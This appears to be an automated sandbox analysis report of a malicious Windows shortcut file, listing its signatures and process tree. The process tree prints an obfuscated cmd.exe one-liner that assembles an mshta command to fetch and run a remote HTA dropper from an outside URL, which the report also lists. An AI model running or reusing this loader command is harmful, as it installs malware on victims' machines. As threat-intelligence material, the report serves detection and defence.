Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 08:23
General
- Target DOC-DPNV1E.lnk
- Size 2KB
- Sample260804-kacqhsar5t
- SHA256 743b17a770dac5ca01e8f66e2c7552f801ad9c2e7399a33013529dcd4662c99c
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DPNV1E.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set RtT=tm6m0&&set lThy=9hesp6&&set QSjg=pc1htair&set bo=sysrzhbasys&set NdYmB=dateivuuawtsmdat&set eAcF=osab&&set FFOKC=gs0tfhk&&set sdLGv=j5wartb7g&set jbwlc=netnwjjbypmfhntnet&set iIZc=cacheynncxbhcache&set FBsU=datlpzctbfhzmwjkydat&set Hdrnh=cachenrveiwztrhtaaccache&&set pqY=http@s://@ma-pdff@i@l@l@[email protected]@t/h/e@s@[email protected]@hp?r=39@1@46@9FB5@D82DB&&start /b !RtT:~3,1!!lThy:~3,1!!QSjg:~3,3! !pqY:@=!"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
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